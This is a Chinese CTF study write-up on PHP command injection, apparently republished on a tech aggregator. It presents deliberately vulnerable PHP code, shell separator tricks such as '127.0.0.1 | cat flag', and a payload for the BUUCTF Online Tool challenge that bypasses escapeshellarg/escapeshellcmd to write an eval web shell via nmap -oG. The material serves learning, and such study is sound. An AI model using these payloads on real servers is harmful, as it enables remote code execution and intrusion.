IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTF之web学习记录 -- 命令注入 -> 正文阅读

[PHP知识库]CTF之web学习记录 -- 命令注入

概述

??web服务器后端代码有时会调用一些执行系统命令的函数,以常见的php语言为例,使用system/exec/shell_exec/passthru/popen/proc_popen等函数可以执行系统命令。因此一旦我们可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

常见攻击方式

使用管道符号

??我们以一段简单的php代码为例,如下代码所示,程序获取get参数ip,然后拼接到system函数中。

<?php
echo system("ping -c 2 " . $_GET['ip']);
?>

??利用上面的代码和管道符,我们可以轻松执行任意操作系统命令,现将管道符介绍如下。

# windows下管道符
|  前面语句的执行结果为后面语句的输入
|| 只执行一条语句,前面语句为真,则后一条语句不执行
&  两条语句都执行,前面语句为假不影响后面语句的执行
&& 两条语句都执行,但只有前面为真才不影响后面的语句

# linux下管道符
;  命令截断符,前面为假不影响后面语句执行
|  前面语句的执行结果为后面语句的输入
|| 同windows,只执行一条语句,前面语句为真,则后面不执行
&  同windows,两条语句都执行,前面为假不影响后面的语句
&& 同windows,两条语句都执行,但只有前面为真才不影响后面的语句

??对比windows和linux,我们发现linux下只比windows多了;截断,然后如果我们想要获取flag的话,可以这样拼接命令127.0.0.1 | cat flag

escapeshellarg和escapeshellcmd

??这两个函数本来是用于过滤字符使用的,简单理解两个函数的功能就是给参数两边加上单引号,并对我们传入的特殊字符如:引号、管道符进行转义,但仍然存在一些问题,所以这里积累一下。简单总结一下漏洞所在,escapeshellarg是用来过滤参数的,escapeshellcmd是用来过滤命令的,所以一般这两个函数会被配合使用,但一旦这样做就会出现漏洞。
??下面以一道实际的ctf例题进行分析,[BUUCTF 2018]Online Tool,这里做了简化,如下代码所示。代码中用get方式获取host参数,然后就使用了escapeshellargescapeshellcmd一起对参数做了过滤处理,此时存在问题,现分析如下。

<?php
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
?>

??做这道题的话无法使用常规的管道符进行命令注入,因为管道符都被转义了,无法达到效果,所以就需要使用nmap命令自身的特性。我们使用nmap的-oG参数,将命令和结果写入到文件中,利用一句话木马来实现攻击。首先构造的payload如下,?host=<?php @eval($_POST["cmd"]);?> -oG hack.php,可以自己写个测试文件,看看经过两个函数后会发现怎样的变化,然后逐步来调试,最终构造的payload如下,之后用蚁剑连接即可。

# 原payload
?host=' <?php @eval($_POST["cmd"]);?> -oG hack.php '

# 转义后payload
''\\'' \<\?php @eval\(\$_POST\["cmd"\]\)\;\?\> -oG hack.php '\\'''

命令执行漏洞修复

??针对命令执行,这里给出一些建议,首先应该尽量避免使用命令执行函数,其次如果要使用这些函数,那么在接受用户提交的变量时应该做好检测和过滤。

总结

不忘初心,砥砺前行!

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-05 20:17:07  更:2021-07-05 20:17:46 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/6 11:00:29-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码